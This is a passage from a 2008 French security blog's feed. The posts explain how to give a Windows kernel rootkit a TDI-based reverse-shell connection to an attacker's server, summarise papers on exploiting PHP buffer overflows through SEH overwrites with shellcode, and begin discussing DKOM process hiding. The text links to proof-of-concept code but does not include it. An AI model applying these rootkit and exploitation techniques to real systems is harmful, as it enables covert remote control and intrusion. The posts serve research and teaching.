rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/4030140250920540567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/4030140250920540567'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2008/11/hzv-1-released.html' title='#hzv 1 released !'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-559322840471045707</id><published>2008-10-27T09:08:00.000-07:00</published><updated>2008-10-29T05:29:35.414-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TDI'/><category scheme='http://www.blogger.com/atom/ns#' term='blackclowns'/><category scheme='http://www.blogger.com/atom/ns#' term='tolwin'/><category scheme='http://www.blogger.com/atom/ns#' term='PE'/><category scheme='http://www.blogger.com/atom/ns#' term='kernel socket'/><category scheme='http://www.blogger.com/atom/ns#' term='Harpe'/><category scheme='http://www.blogger.com/atom/ns#' term='reverse shell'/><category scheme='http://www.blogger.com/atom/ns#' term='Transport driver interface'/><category scheme='http://www.blogger.com/atom/ns#' term='Squallsurf'/><category scheme='http://www.blogger.com/atom/ns#' term='ollydbg'/><category scheme='http://www.blogger.com/atom/ns#' term='NDIS'/><category scheme='http://www.blogger.com/atom/ns#' term='esrever'/><title type='text'>Feel the power with TDI !</title><content type='html'>N'avez vous jamais pensé à avoir un support &lt;span style="font-weight: bold;"&gt;réseau &lt;/span&gt;pour votre merveilleux &lt;span style="font-weight: bold;"&gt;rootkit &lt;/span&gt;?&lt;br /&gt;Avoir la main sur cette &lt;span style="font-weight: bold;"&gt;bête &lt;/span&gt;même à distance ?&lt;br /&gt;&lt;br /&gt;Je vais aujourd'hui réaliser votre rêve :)), plus sérieusement ce post traitera de l'une des interfaces proposées par microsoft pour nous permettre de faire du réseau ; et celle-ci porte le doux nom de &lt;span style="font-weight: bold;"&gt;TDI&lt;/span&gt; acronyme de "&lt;span style="font-weight: bold;"&gt;T&lt;/span&gt;ransport&lt;span style="font-weight: bold;"&gt; D&lt;/span&gt;river &lt;span style="font-weight: bold;"&gt;I&lt;/span&gt;nterface".&lt;br /&gt;Je cite microsoft techNet :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;"The Transport Driver Interface (TDI) is a common interface for drivers (such as the Windows 2000 redirector and server) to use to communicate with the various network transport protocols. This allows services to remain independent of transport protocols."&lt;br /&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;Il faut déjà savoir qu'il existe plusieurs manières d'accéder aux ressources réseaux du kerneland&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;; c'est différent moyens sont implémentés ou pas selon la version de windows :&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;Avant les systèmes vista, nous avions à disposition &lt;span style="font-weight: bold;"&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/aa505007.aspx"&gt;TDI&lt;/a&gt; &lt;/span&gt;ainsi que &lt;a href="http://fr.wikipedia.org/wiki/Network_Driver_Interface_Specification"&gt;&lt;span style="font-weight: bold;"&gt;NDIS&lt;/span&gt; &lt;/a&gt;acronyme de &lt;b&gt;N&lt;/b&gt;etwork&lt;b&gt; D&lt;/b&gt;river&lt;b&gt; I&lt;/b&gt;nterface&lt;b&gt; S&lt;/b&gt;pecification.&lt;/li&gt;&lt;li&gt;Sous vista nous avons à disposition &lt;span style="font-weight: bold;"&gt;TDI&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;NDIS &lt;/span&gt;et les &lt;span style="font-weight: bold;"&gt;Kernels Sockets&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;Et puis il est prévu de troquer TDI contre les Kernels Sockets pour les autres systèmes qui suivront vista ; autrement dit on ferra du reseau avec &lt;span style="font-weight: bold;"&gt;NDIS &lt;/span&gt;ou/et les &lt;span style="font-weight: bold;"&gt;&lt;a href="http://blogs.msdn.com/wndp/archive/2006/02/24/538746.aspx"&gt;Kernels Sockets&lt;/a&gt;.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;J'ai donc choisis l'utilisation de &lt;span style="font-weight: bold;"&gt;TDI&lt;/span&gt; pour tout d'abord avoir une espèce de &lt;span style="font-weight: bold;"&gt;rétro-compatibilitée&lt;/span&gt; avec "&lt;span style="font-weight: bold;"&gt;l'avant vista&lt;/span&gt;" ; de plus l'utilisation de &lt;span style="font-weight: bold;"&gt;TDI &lt;/span&gt;est assez simple car les opérations à réaliser suivent un même schéma que je detaillerais plus bas.&lt;br /&gt;L'utilisation de &lt;span style="font-weight: bold;"&gt;TDI &lt;/span&gt;est d'ailleurs très bien documentée ; non pas par la masse des écrits sur le sujet mais par la qualité des quelques papers trouvés.&lt;br /&gt;Je veux bien sûr faire références à deux écrit :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Subverting The Windows Kernel&lt;/span&gt; , chapitre "&lt;span style="font-weight: bold;"&gt;Kernel TCP/IP Support for Your Rootkit Using TDI&lt;/span&gt;"&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Audi-K - Nouvelles aventures en Kernel Land&lt;/span&gt;, paper parut dans le zine des &lt;a href="http://blackclowns.org/magazine/bcmag/"&gt;&lt;span style="font-weight: bold;"&gt;blackclowns&lt;/span&gt;&lt;/a&gt; ; c'est un S.U.P.E.R.B.E article écrit par &lt;span style="font-weight: bold;"&gt;Tolwin &lt;/span&gt;..pour couronner le tout c'est du français.Cette article est donc juste &lt;span style="font-weight: bold;"&gt;priceless&lt;/span&gt;, merci à lui.&lt;/li&gt;&lt;/ul&gt;Ces deux écrits permettent largement de se coder un petit &lt;span style="font-weight: bold;"&gt;Proof Of Concept &lt;/span&gt;quant à l'utilisation de &lt;span style="font-weight: bold;"&gt;TDI&lt;/span&gt;.&lt;br /&gt;J'ai donc choisis de mettre en place une connexion à la manière d'un classique&lt;span style="font-weight: bold;"&gt; Reverse Shell&lt;/span&gt; ; autrement dit un serveur hébergé chez le &lt;span style="font-weight: bold;"&gt;h4ck3rz&lt;/span&gt;, le driver s'y connecte et propose des fonctions exécutées chez la &lt;span style="font-weight: bold;"&gt;victime &lt;/span&gt;tout cela sous forme d'un &lt;span style="font-weight: bold;"&gt;shell &lt;/span&gt;avec un jolie &lt;span style="font-weight: bold;"&gt;prompt &lt;/span&gt;toussa :D.&lt;br /&gt;Seulement ce qui m'a intéressé dans ce code c'est l'implémentation de la partie &lt;span style="font-weight: bold;"&gt;reseau&lt;/span&gt;, vous comprendrez donc pourquoi je n'ai codé aucune fonction entrant dans le cadre du &lt;span style="font-weight: bold;"&gt;reverse shell &lt;/span&gt;..c'est un travail on ne peux plus &lt;span style="font-weight: bold;"&gt;fastidieux &lt;/span&gt;; de plus ce n'etait pas le but ! Au passage si quelques d'entre vous sortent leurs jolies &lt;span style="font-weight: bold;"&gt;IDEs &lt;/span&gt;avec comme objectif de rendre mon bout de code &lt;span style="font-weight: bold;"&gt;utilisable&lt;/span&gt;..ben qu'ils me previennent :D.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Entrons dans le vif du sujet ; chers passagers je vous prie de bien vouloir boucler vos ceintures, le voyage va bientôt commencer !&lt;br /&gt;&lt;br /&gt;Comme je le disais un peu plus haut, &lt;span style="font-weight: bold;"&gt;TDI &lt;/span&gt;s'avère assez simple, peut-être un poil velus au départ mais au fur et à mesure que l'on code on se rend vite compte que les principales &lt;span style="font-weight: bold;"&gt;opérations &lt;/span&gt;sont &lt;span style="font-weight: bold;"&gt;redondantes&lt;/span&gt;.&lt;br /&gt;Il faut aussi savoir que jouer avec &lt;span style="font-weight: bold;"&gt;TDI, &lt;/span&gt;c'est accepter de &lt;span style="font-weight: bold;"&gt;dealer &lt;/span&gt;avec le driver &lt;span style="font-weight: bold;"&gt;tcpip.sys&lt;/span&gt;.&lt;br /&gt;Si on fouille dans les tools signé &lt;span style="font-weight: bold;"&gt;OSR&lt;/span&gt;, on peut tomber sur &lt;a href="http://www.osronline.com/article.cfm?article=97"&gt;&lt;span style="font-weight: bold;"&gt;DeviceTree &lt;/span&gt;&lt;/a&gt;; un outil assez pratique pour observer l'&lt;span style="font-weight: bold;"&gt;organisation &lt;/span&gt;des &lt;span style="font-weight: bold;"&gt;drivers&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;devices &lt;/span&gt;et autres :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kuo-yDTqvqc/SQdMg_Kl0QI/AAAAAAAAAJU/SWNAeqCV6fI/s1600-h/orgaTCPIP.jpg"&gt;&lt;img style="cursor: pointer; width: 265px; height: 99px;" src="http://2.bp.blogspot.com/_kuo-yDTqvqc/SQdMg_Kl0QI/AAAAAAAAAJU/SWNAeqCV6fI/s400/orgaTCPIP.jpg" alt="" id="BLOGGER_PHOTO_ID_5262258819201093890" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Vous vous doutez bien que nous allons nous occuper du driver tcp, seulement lui !&lt;br /&gt;On remarque aussi au passage que le device est en mode &lt;span style="font-weight: bold;"&gt;IO_DIRECT&lt;/span&gt; ; autrement dit le buffer d'entré et de sortie sera le même ; aucun gaspillage quant à la manipulation/recopie de ceux ci etc.&lt;br /&gt;Le code va donc se résoudre à de multiples échanges entres le driver, et le notre par le biais d'&lt;span style="font-weight: bold;"&gt;IRP&lt;/span&gt;.&lt;br /&gt;En effet, notre code se résout à , préparer une requête (l'IRP), l'envoyer au driver, bloquer pendant que le driver traite notre requête, et puis agir en fonction du code de retour.&lt;br /&gt;Tout cela est simplifié mais dans l'idée c'est exactement ce qu'il faut faire ; microsoft nous propose alors un lot de macro tel que :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;TdiBuildSend&lt;/li&gt;&lt;li&gt;TdiBuildReceive&lt;/li&gt;&lt;li&gt;TdiBuildConnect&lt;/li&gt;&lt;li&gt;TdiBuildInternalDeviceControlIrp&lt;/li&gt;&lt;/ul&gt;Entrons un peu plus dans les détails maintenant.&lt;br /&gt;Les deux premières étapes consistent en la création de deux objets,  un "&lt;span style="font-weight: bold;"&gt;Connection Object&lt;/span&gt;" ainsi qu'un "&lt;span style="font-weight: bold;"&gt;Transport Object&lt;/span&gt;" l'un servant à stocker les informations relatives a l'host et au port (le&lt;span style="font-weight: bold;"&gt; TransportObject&lt;/span&gt; donc) ; et un second objet gérant la connection (le&lt;span style="font-weight: bold;"&gt; Connection Objet&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;Ces objets seront créés grâce à la fonction &lt;span style="font-weight: bold;"&gt;ZwCreateFile&lt;/span&gt; ; pour mener à bien la construction de ces objets ont doit passer des &lt;span style="font-weight: bold;"&gt;paramètres &lt;/span&gt;à la fonction qui va gérer la &lt;span style="font-weight: bold;"&gt;construction &lt;/span&gt;des objets contenu dans le &lt;span style="font-weight: bold;"&gt;driver &lt;/span&gt;bien sur.&lt;br /&gt;Ceux-ci seront passé par encapsulation dans une structure du type &lt;span style="font-weight: bold;"&gt;FILE_FULL_EA_INFORMATION&lt;/span&gt; ; dans l'avant dernier argument de &lt;span style="font-weight: bold;"&gt;ZwCreateFile&lt;/span&gt; "&lt;span style="font-weight: bold;"&gt;EaBuffer&lt;/span&gt;".&lt;br /&gt;Voici la définition de la structure :&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;typedef struct _FILE_FULL_EA_INFORMATION&lt;br /&gt;{&lt;br /&gt;ULONG  NextEntryOffset;&lt;br /&gt;UCHAR  Flags;&lt;br /&gt;UCHAR  EaNameLength;&lt;br /&gt;USHORT  EaValueLength;&lt;br /&gt;CHAR  EaName[1];&lt;br /&gt;} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;Je m'explique quant à cette histoire d'&lt;span style="font-weight: bold;"&gt;encapsulation &lt;/span&gt;; le but est de pouvoir passé plusieurs structures au driver.&lt;br /&gt;&lt;br /&gt;1. On alloue la mémoire total, c'est l'addition des tailles des structures à faire passé en argument plus la structure de type &lt;span style="font-weight: bold;"&gt;FILE_FULL_EA_INFORMATION&lt;/span&gt;.&lt;br /&gt;2. On remplis les premiers champs de la structure : NextEntryOffset, Flags etc.&lt;br /&gt;3. On écrit à la suite du dernier champs (&lt;span style="font-weight: bold;"&gt;EaBuffer&lt;/span&gt;) le contenus de nos structures.&lt;br /&gt;&lt;br /&gt;Voilà le principe, la structure de type &lt;span style="font-weight: bold;"&gt;FILE_FULL_EA_INFORMATION&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;/span&gt;englobe les autres, c'est le principe.&lt;br /&gt;&lt;br /&gt;Je noterais &lt;span style="font-weight: bold;"&gt;EA &lt;/span&gt;la structure qui sert d'&lt;span style="font-weight: bold;"&gt;encapsulation&lt;/span&gt;.&lt;br /&gt;Pour le Connection Object nous avons le schéma suivant :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;[&lt;span style="font-weight: bold;"&gt;EA &lt;/span&gt;-&gt; &lt;span style="font-weight: bold;"&gt;CONNECTION_CONTEXT&lt;/span&gt;]&lt;/li&gt;&lt;/ul&gt;Pour le Transport Object nous avons :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;[&lt;span style="font-weight: bold;"&gt;EA &lt;/span&gt;-&gt; &lt;span style="font-weight: bold;"&gt;TA_IP_ADDRESS&lt;/span&gt;]&lt;/li&gt;&lt;/ul&gt;Je ne sais pas si j'ai réussi à comprendre, mais j'ai fais de mon mieux, c'est pas facile :].&lt;br /&gt;&lt;br /&gt;Bon voilà c'est &lt;span style="font-weight: bold;"&gt;beau&lt;/span&gt;, c'est &lt;span style="font-weight: bold;"&gt;magique&lt;/span&gt;, de la véritable poudre de &lt;span style="font-weight: bold;"&gt;perlinpinpin &lt;/span&gt;mais notre voyage est loin d'être terminé.&lt;br /&gt;&lt;br /&gt;Il faut ensuite associer ces deux handles..à partir de cette étape le chemin restera toujours le même :&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Allocation de l'irp, grâce à la macro &lt;a style="font-weight: bold;" name="ddk_tdibuildinternaldevicecontrolirp_nr"&gt;&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;TdiBuildInternalDeviceControlIrp.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Construction de l'irp par le biais de la macro associée à l'action désirée (&lt;span style="font-weight: bold;"&gt;TdiBuildSend&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;TdiBuildReceive&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;TdiBuildAssociateAddress &lt;/span&gt;etc).&lt;/li&gt;&lt;li&gt;On transmet l'irp au driver en utilisant la fonction &lt;span style="font-weight: bold;"&gt;IoCallDriver&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;On bloque tant que le traitement n'est pas terminé avec la fonction &lt;span style="font-weight: bold;"&gt;KeWaitForSingleObject.&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;C'est en fait le &lt;span style="font-weight: bold;"&gt;schéma &lt;/span&gt;dont je vous parlais plus haut, c'est celui-ci que vous allez répéter pour chacune de vos &lt;span style="font-weight: bold;"&gt;actions&lt;/span&gt; ; vous comprendrez alors pourquoi je ne détaillerais pas le reste :)).&lt;br /&gt;&lt;br /&gt;Concernant mon petit code, il va se connecter sur une ip sur un port donné, il envoit alors un prompt à la manière d'un shell tout simplement.&lt;br /&gt;J'ai d'ailleurs tout mis en place pour faciliter l'implémentation de fonctions ..si il y a des courageux comme je le disais :)).&lt;br /&gt;Un petit screenshot:&lt;br /&gt;&lt;br /&gt;&lt;img src="file:///C:/Documents%20and%20Settings/overclok.0VERCL0K/Mes%20documents/Mes%20images/blogz/TDI/exemple.jpg" alt="" /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kuo-yDTqvqc/SQew811vAaI/AAAAAAAAAJc/w-Ap3HoSbII/s1600-h/exemple.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 81px;" src="http://4.bp.blogspot.com/_kuo-yDTqvqc/SQew811vAaI/AAAAAAAAAJc/w-Ap3HoSbII/s400/exemple.jpg" alt="" id="BLOGGER_PHOTO_ID_5262369248896811426" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sinan dans le genre &lt;span style="font-weight: bold;"&gt;priceless&lt;/span&gt;, mon &lt;a href="http://ivanlef0u.tuxfamily.org/"&gt;&lt;span style="font-weight: bold;"&gt;s1th &lt;/span&gt;&lt;/a&gt;vient de nous dégotter un &lt;a href="http://ivanlef0u.free.fr/repo/softs/INRev.Team.rar"&gt;&lt;span style="font-weight: bold;"&gt;OllyDbg customisé&lt;/span&gt;&lt;/a&gt; on ne peux plus cool :)).&lt;br /&gt;Il est blindé de &lt;span style="font-weight: bold;"&gt;scripts/plugins&lt;/span&gt;, et possède un &lt;span style="font-weight: bold;"&gt;gestionnaire de raccourcis&lt;/span&gt; pour placer tous ces &lt;span style="font-weight: bold;"&gt;tools préférés&lt;/span&gt; :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kuo-yDTqvqc/SQezyiU4aJI/AAAAAAAAAJk/Uco29byRTFU/s1600-h/olly.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 69px;" src="http://4.bp.blogspot.com/_kuo-yDTqvqc/SQezyiU4aJI/AAAAAAAAAJk/Uco29byRTFU/s400/olly.jpg" alt="" id="BLOGGER_PHOTO_ID_5262372370394933394" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;On voit aussi qu'il possède une barre de commande &lt;span style="font-weight: bold;"&gt;immunityDbg&lt;/span&gt; like :) ; enfin bon à avoir d'urgence !&lt;br /&gt;Ensuite je voulais vous parlez d'un ami, &lt;span style="font-weight: bold;"&gt;Squallsurf&lt;/span&gt; et son nouveau outil &lt;a style="font-weight: bold;" href="http://squallsurf.blogspot.com/"&gt;H.a.r.P.E&lt;/a&gt; (une espèce de &lt;span style="font-weight: bold;"&gt;plateforme &lt;/span&gt;de &lt;span style="font-weight: bold;"&gt;manipulation&lt;/span&gt;/&lt;span style="font-weight: bold;"&gt;visualisation &lt;/span&gt;du &lt;span style="font-weight: bold;"&gt;PE &lt;/span&gt;; projet prometteur :)).&lt;br /&gt;N'hésitez donc pas à lui rendre &lt;span style="font-weight: bold;"&gt;visite&lt;/span&gt;, ou encore lui &lt;span style="font-weight: bold;"&gt;rapporter bugs&lt;/span&gt; et/ou &lt;span style="font-weight: bold;"&gt;amélioration &lt;/span&gt;quant à son &lt;span style="font-weight: bold;"&gt;joujou &lt;/span&gt;:).&lt;br /&gt;&lt;br /&gt;Les codes de mon &lt;span style="font-weight: bold;"&gt;Proof Of Concept&lt;/span&gt; :&lt;br /&gt;&lt;a style="font-weight: bold;" href="http://overclok.free.fr/Codes/TDI/Esrever.html"&gt;Esrever.c&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;En espérant avoir intéressé quelques uns :), cya.&lt;br /&gt;PS : petit coucou à &lt;span style="font-weight: bold;"&gt;securfrog &lt;/span&gt;o/ ; merci à &lt;span style="font-weight: bold;"&gt;baboon &lt;/span&gt;!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-559322840471045707?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/559322840471045707/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=559322840471045707' title='3 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/559322840471045707'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/559322840471045707'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2008/10/feel-power-with-tdi.html' title='Feel the power with TDI !'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_kuo-yDTqvqc/SQdMg_Kl0QI/AAAAAAAAAJU/SWNAeqCV6fI/s72-c/orgaTCPIP.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-4935960887692582163</id><published>2008-09-28T02:47:00.000-07:00</published><updated>2008-10-02T05:28:22.338-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hot patching'/><category scheme='http://www.blogger.com/atom/ns#' term='depassement de tampon'/><category scheme='http://www.blogger.com/atom/ns#' term='fuzzing'/><category scheme='http://www.blogger.com/atom/ns#' term='fuzzer'/><category scheme='http://www.blogger.com/atom/ns#' term='anti xxx'/><category scheme='http://www.blogger.com/atom/ns#' term='seh'/><category scheme='http://www.blogger.com/atom/ns#' term='failles php'/><category scheme='http://www.blogger.com/atom/ns#' term='buffer overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='hotpatching'/><category scheme='http://www.blogger.com/atom/ns#' term='tls callbacks'/><category scheme='http://www.blogger.com/atom/ns#' term='stack overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='anti dbg'/><category scheme='http://www.blogger.com/atom/ns#' term='hook'/><category scheme='http://www.blogger.com/atom/ns#' term='reecriture seh'/><category scheme='http://www.blogger.com/atom/ns#' term='tls'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>L'union fait la force.</title><content type='html'>Me revoilà pour un nouveau post, (un peu tardif me direz vous, mais bon pas toujours facile avec les cours) mais cette fois-ci c'est un peu &lt;span style="FONT-WEIGHT: bold"&gt;spécial&lt;/span&gt;.&lt;br /&gt;En effet, &lt;span style="FONT-WEIGHT: bold"&gt;lilxam &lt;/span&gt;et moi même vous proposons aujourd'hui une archive liant &lt;span style="FONT-WEIGHT: bold"&gt;deux &lt;/span&gt;papers écrit en "&lt;span style="FONT-WEIGHT: bold"&gt;collaboration&lt;/span&gt;".&lt;br /&gt;Un &lt;span style="FONT-WEIGHT: bold"&gt;gros &lt;/span&gt;travail d'entraide à été mis en place sur cette série de papers, une expérience à renouveler je pense car très &lt;span style="FONT-WEIGHT: bold"&gt;efficace&lt;/span&gt;.&lt;br /&gt;Tout cela pour dire que l'on sera surement amené à renouvelé ce type d'opération, hein &lt;span style="FONT-WEIGHT: bold"&gt;lilxam &lt;/span&gt;:)?&lt;br /&gt;&lt;br /&gt;Entrons dans le vif du sujet.&lt;br /&gt;&lt;br /&gt;L'archive est composé d'un premier paper signé &lt;span style="FONT-WEIGHT: bold"&gt;lilxam &lt;/span&gt;traitant des débordements de tampons appliqué et exploité sur &lt;span style="FONT-WEIGHT: bold"&gt;php 5.x&lt;/span&gt;.&lt;br /&gt;L'approche est vraiment &lt;span style="FONT-WEIGHT: bold"&gt;intéréssante &lt;/span&gt;car mon chère collègue à due mener de nombreuses recherches sur l'&lt;span style="FONT-WEIGHT: bold"&gt;organisation&lt;/span&gt;, l'&lt;span style="FONT-WEIGHT: bold"&gt;appel des fonctions&lt;/span&gt; au seins de php.exe.&lt;br /&gt;Une fois cette étape de franchis, il entamme la recherche de &lt;span style="FONT-WEIGHT: bold"&gt;fonctions faillibles&lt;/span&gt; en codant un &lt;span style="FONT-WEIGHT: bold"&gt;fuzzer like maison&lt;/span&gt; qui m'a foi à porté ces fruits :).&lt;br /&gt;Non loin d'une &lt;span style="FONT-WEIGHT: bold"&gt;dizaine &lt;/span&gt;de fonction faillible sur la &lt;span style="FONT-WEIGHT: bold"&gt;version 5.2.6&lt;/span&gt;, l'exploitation rentre donc maintenant en jeux.&lt;br /&gt;La &lt;span style="FONT-WEIGHT: bold"&gt;technique &lt;/span&gt;utilisé est une &lt;span style="FONT-WEIGHT: bold"&gt;réécriture de SEH&lt;/span&gt; (&lt;span style="FONT-WEIGHT: bold"&gt;Structured Exception Handling&lt;/span&gt;), afin de rediriger le flot d'éxecution de php sur un vilain &lt;span style="FONT-WEIGHT: bold"&gt;shellcode &lt;/span&gt;:).&lt;br /&gt;Voilà en gros le fil rouge du paper, le tout est bien sûr agrementé de schéma/screenshots/codes et d'explications :).&lt;br /&gt;&lt;br /&gt;Avec le second paper on change complétement de sujet ; je présente en premier temps les &lt;span style="FONT-WEIGHT: bold"&gt;TLS CallBacks&lt;/span&gt;, puis l'&lt;span style="FONT-WEIGHT: bold"&gt;HotPatching&lt;/span&gt;, et enfin une à deux petites applications liant les deux "outils" vu precedemment.Rien de bien &lt;span style="FONT-WEIGHT: bold"&gt;méchant &lt;/span&gt;en tout cas, un contenus &lt;span style="FONT-WEIGHT: bold"&gt;très soft&lt;/span&gt; :).&lt;br /&gt;J'ai mis à disposition dans l'archive l'&lt;span style="FONT-WEIGHT: bold"&gt;éboche&lt;/span&gt;, la tentative de rédaction d'une classe &lt;span style="FONT-WEIGHT: bold"&gt;cpp &lt;/span&gt;(et oui, je m'y mets!) permettant l'implémentation d'une tls callback..la classe est vraiment &lt;span style="FONT-WEIGHT: bold"&gt;très simple&lt;/span&gt; et &lt;span style="FONT-WEIGHT: bold"&gt;peu fiable&lt;/span&gt; je pense cependant elle m'aura permis d'&lt;span style="FONT-WEIGHT: bold"&gt;allonger du code&lt;/span&gt; pour me faire la &lt;span style="FONT-WEIGHT: bold"&gt;main&lt;/span&gt; avec ce &lt;span style="FONT-WEIGHT: bold"&gt;language&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Je vous laisse en compagnie de nos écris :&lt;br /&gt;-&lt;a href="http://overclok.free.fr/Codes/L%27Union%20Fait%20la%20Force.zip"&gt;L'Union Fait la Force.zip&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;En espérant que ça plaira bonne après midi :).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-4935960887692582163?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/4935960887692582163/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=4935960887692582163' title='6 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/4935960887692582163'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/4935960887692582163'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2008/09/lunion-fait-la-force.html' title='L&apos;union fait la force.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-2159125498276326818</id><published>2008-08-08T10:32:00.000-07:00</published><updated>2008-09-04T15:21:30.316-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ring0'/><category scheme='http://www.blogger.com/atom/ns#' term='dkom process'/><category scheme='http://www.blogger.com/atom/ns#' term='PsLookupByProcessId'/><category scheme='http://www.blogger.com/atom/ns#' term='csrss'/><category scheme='http://www.blogger.com/atom/ns#' term='unlink csrss'/><category scheme='http://www.blogger.com/atom/ns#' term='pspcidtable'/><category scheme='http://www.blogger.com/atom/ns#' term='rkunhooker'/><category scheme='http://www.blogger.com/atom/ns#' term='lilxam'/><title type='text'>How to pwn lilxam's toolz :).</title><content type='html'>&lt;div style="text-align: justify;"&gt;Un titre un peu provacateur, mais rien de méchant, juste un petit jeu entre lilxam et moi ; autrement dit mon article n'est pas là pour dénigrer son travail ou autre &lt;span style="font-weight: bold;"&gt;bien au contraire&lt;/span&gt;.&lt;br /&gt;Les avertissements étant fait, rentrons dans le vif du sujet .. :).&lt;br /&gt;&lt;br /&gt;Il y a quelques temps, j'ai entamé l'écriture d'un petit post concernant une technique de &lt;span style="font-weight: bold;"&gt;DKOM&lt;/span&gt; aboutissant à caché un processus (plus ou moins bien justement).&lt;br /&gt;Le noyau possède un chainage de structures de type &lt;span style="font-weight: bold;"&gt;EPROCESS&lt;/span&gt; (par une liste doublement chainé à l'offset 0x088), il était donc possible d'unlinker une structure en particulier.&lt;br /&gt;Le processus se retrouvait alors protégé de l'énumération par le &lt;span style="font-weight: bold;"&gt;taskmgr.exe&lt;/span&gt; ou encore &lt;span style="font-weight: bold;"&gt;ProcessExplorer&lt;/span&gt;.&lt;br /&gt;C'est à présent que lilxam entre en jeu.&lt;br /&gt;&lt;br /&gt;Peu de temps après mon petit Proof of Concept, il met en place une technique &lt;span style="font-weight: bold;"&gt;userland&lt;/span&gt; permettant d'énumérer les processus malgré la modification des structures en mémoire.&lt;br /&gt;Cet technique en question, très ingénieuse au passage, permettant de récupérer le nom des processus en 